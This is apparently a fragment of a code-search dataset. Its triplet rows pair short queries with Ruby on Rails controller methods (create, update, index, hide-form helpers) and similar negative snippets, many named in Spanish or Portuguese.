"def create\n @intervencion = Intervencion.new(intervencion_params)\n\n respond_to do |format|\n if @intervencion.save\n format.html { redirect_to @intervencion, notice: 'Intervencion was successfully created.' }\n format.json { render :show, status: :created, location: @intervencion }\n else\n format.html { render :new }\n format.json { render json: @intervencion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @inscriptions = Inscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inscriptions }\n end\n end",
"def create\n @informativo_obra = InformativoObra.new(informativo_obra_params)\n\n @status = Statusobra.find_by_statusobra_type(\"Salvo\")\n @informativo_obra.statusobra_id = @status.id\n\n respond_to do |format|\n if @informativo_obra.save\n format.html { redirect_to @informativo_obra, notice: 'Informativo de obra foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @informativo_obra }\n else\n format.html { render :new }\n format.json { render json: @informativo_obra.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /status_de_la_inscripcions/1 PUT /status_de_la_inscripcions/1.json
|
def update
@status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])
respond_to do |format|
if @status_de_la_inscripcion.update_attributes(params[:status_de_la_inscripcion])
format.html { redirect_to @status_de_la_inscripcion, notice: 'Status de la inscripcion was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @status_de_la_inscripcion.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n respond_to do |format|\n if @inscripcione.update(inscripcione_params)\n format.html { redirect_to @inscripcione, notice: 'Inscripcione was successfully updated.' }\n format.json { render :show, status: :ok, location: @inscripcione }\n else\n format.html { render :edit }\n format.json { render json: @inscripcione.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subscribtion = Subscribtion.find(params[:id])\n\n respond_to do |format|\n if @subscribtion.update_attributes(params[:subscribtion])\n format.html { redirect_to @subscribtion, notice: 'Subscribtion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscribtion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inscripcion.update(inscripcion_params)\n format.html { redirect_to @inscripcion, notice: 'Inscripcion was successfully updated.' }\n format.json { render :show, status: :ok, location: @inscripcion }\n else\n format.html { render :edit }\n format.json { render json: @inscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @inscripcione = Inscripcione.find(params[:id])\n\n respond_to do |format|\n if @inscripcione.update_attributes(params[:inscripcione])\n format.html { redirect_to(@inscripcione, :notice => 'Inscripcione was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inscripcione.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @status_ref_pago_insc = StatusRefPagoInsc.find(params[:id])\n\n respond_to do |format|\n if @status_ref_pago_insc.update_attributes(params[:status_ref_pago_insc])\n format.html { redirect_to @status_ref_pago_insc, notice: 'Status ref pago insc was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_ref_pago_insc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prescribtion.update(prescribtion_params)\n format.html { redirect_to @prescribtion, notice: 'Prescribtion was successfully updated.' }\n format.json { render :show, status: :ok, location: @prescribtion }\n else\n format.html { render :edit }\n format.json { render json: @prescribtion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @inscripcion = Inscripcion.find(params[:id])\n\n respond_to do |format|\n if @inscripcion.update_attributes(params[:inscripcion])\n format.html { redirect_to(@inscripcion, :notice => 'Inscripcion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inscripcion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n\n respond_to do |format|\n if @electronic_prescription.update(electronic_prescription_params)\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully updated.' }\n format.json { render :show, status: :ok, location: @electronic_prescription }\n else\n format.html { render :edit }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @status.update(isshared: params[:isshared])\n format.json { head :no_content }\n else\n format.json {\n render json: @status.errors,\n status: :unprocessable_entity\n }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_inscricao.update(sivic_inscricao_params)\r\n format.html { redirect_to @sivic_inscricao, notice: 'Sivic inscricao was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_inscricao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @inscripcion_evento.update(inscripcion_evento_params)\n format.html { redirect_to @inscripcion_evento, notice: 'Inscripcion evento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inscripcion_evento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_movimentofinanceiro.update(sivic_movimentofinanceiro_params)\r\n format.html { redirect_to @sivic_movimentofinanceiro, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_movimentofinanceiro.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @status_de_la_notificacion = StatusDeLaNotificacion.find(params[:id])\n\n respond_to do |format|\n if @status_de_la_notificacion.update_attributes(params[:status_de_la_notificacion])\n format.html { redirect_to @status_de_la_notificacion, notice: 'Status de la notificacion was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_de_la_notificacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @issuance.update(issuance_params)\n format.html { redirect_to @issuance, :flash => { success: \"Выдача успешно обновлена\"} }\n format.json { render :show, status: :ok, location: @issuance }\n else\n format.html { render :edit }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @az_subscribtion = AzSubscribtion.find(params[:id])\n\n respond_to do |format|\n if @az_subscribtion.update_attributes(params[:az_subscribtion])\n format.html { redirect_to(@az_subscribtion, :notice => 'AzSubscribtion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @az_subscribtion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prescribtion_detail.update(prescribtion_detail_params)\n format.html { redirect_to @prescribtion_detail, notice: 'Prescribtion detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @prescribtion_detail }\n else\n format.html { render :edit }\n format.json { render json: @prescribtion_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rola = find_rola\n\n if (params[:comercializable][:impuesto_ids] == nil)\n params[:comercializable][:impuesto_ids] = []\n end\n\n if (params[:comercializable][:promocion_ids] == nil)\n params[:comercializable][:promocion_ids] = []\n end\n @come = @rola.rolarticulos.find(params[:id])\n\n respond_to do |format|\n if @come.update_attributes(params[:comercializable])\n format.html { redirect_to @rola, :notice => 'Comercializable was successfully updated.' }\n format.json { render json: @rola }\n else\n format.html { render :action => \"edit\" }\n format.json { render json: @come.errors }\n end\n end\n end",
"def update\n #raise inscricao_lideranca_params.inspect\n @inscricao_lideranca = InscricaoLideranca.where(slug: inscricao_lideranca_params[:slug])[0]\n\n respond_to do |format|\n inscricao_lideranca = inscricao_lideranca_params\n id_crypto = Digest::MD5.hexdigest(@inscricao_lideranca.id.to_s)\n slug = \"#{id_crypto}_\" + remover_acentos(@inscricao_lideranca.nome_completo)\n slug = slug.strip\n inscricao_lideranca[:slug] = slug\n inscricao_lideranca[:nome_completo] = @inscricao_lideranca.nome_completo.strip\n \n # if inscricao_lideranca_params[:recurso_candidato].blank?\n # inscricao_lideranca.delete(\"recurso_candidato\")\n # end\n # if inscricao_lideranca_params[:recurso_pontuacao].blank?\n # inscricao_lideranca.delete(\"recurso_pontuacao\")\n # end\n # if inscricao_lideranca_params[:deficiente] != \"1\"\n # @inscricao_lideranca.remove_deficiente_anexo!\n # end \n\n if @inscricao_lideranca.update(inscricao_lideranca)\n if params[:commit] == \"Finalizar Correção\"\n #correcao(@inscricao_lideranca.slug)\n if !params[:resposta_recurso_candidato_dados].blank?\n @inscricao_lideranca.resposta_recurso_candidato_dados = params[:resposta_recurso_candidato_dados]\n end\n\n if params[:desclassificar] == \"Indeferir\"\n @inscricao_lideranca.status_acompanhamento = \"Desclassificado\"\n elsif params[:desclassificar] == \"Deferir\"\n @inscricao_lideranca.status_acompanhamento = \"Correção de dados\"\n end\n @inscricao_lideranca.save\n\n #VERIFICA SE A PAGINA FOI CHAMADA PELA REVIÃO DA PONTUAÇÃO, PARA FECHAR A PAGINA INDEX COM window.close(); APÓS CARREGA-LA.\n if !params[:fase].nil? and params[:fase] == \"revisao\"\n format.html { redirect_to inscricao_liderancas_path(fase:\"revisao\") }\n else\n format.html { redirect_to inscricao_liderancas_path() }\n end\n format.json { render :edit, status: :ok, location: @inscricao_lideranca }\n else\n format.html { redirect_to edit_inscricao_lideranca_path(@inscricao_lideranca.slug) }\n format.json { render :edit, status: :ok, location: @inscricao_lideranca }\n end\n else\n format.html { redirect_to edit_inscricao_lideranca_path(@inscricao_lideranca.slug, mensagem_erro: @inscricao_lideranca.errors.full_messages) }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
SHOW / HIDE FORM Hides the Use of Collections Information form
|
def hide_uoc_info_form
logger.info 'Hiding the Use of Collections Info form'
wait_for_element_and_click form_show_hide_button('Use of Collections Information')
end
|
[
"def hide_uoc_info_form\n wait_for_element_and_click form_show_hide_button('Use of Collections Information')\n end",
"def hidden_options; end",
"def hide_in_overview\n @hide_in_overview = true\n end",
"def hide(name)\n base_fields[name] = base_fields[name].dup\n base_fields[name].widget = Widgets::HiddenInput.new\n end",
"def hidden_fields?\n false\n end",
"def hidden_fields\n @fields.select {|f| f.hidden?}\n end",
"def hide_field(field)\n set_field(field, :display, false)\n end",
"def hide!\n self[:hidden] = true\n self\n end",
"def hidecategorization()\n merge(hidecategorization: 'true')\n end",
"def hide\n\t\tRubbit_Poster.instance.hide(@name)\n\tend",
"def input_hidden(sch)\n opts[:label] = nil\n standard_input(:hidden)\n end",
"def hide!\n visible(false)\n end",
"def edit\n find_and_show_entries(false)\n end",
"def uhook_category_form form\n ''\n end",
"def show_hidden_data\n @show_hidden_data = true\n end",
"def hidden(options={})\n user = options.delete(:user) || @user\n options = merge_options({ :handler => \"Submission\", :query => {} }, options)\n read(\"/user/#{@user}/hidden/.json\", options)\n end",
"def hide_terms_of_use\n return @hide_terms_of_use\n end",
"def hide\n @visible = false\n\n store\n end",
"def hidden_options=(_); end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.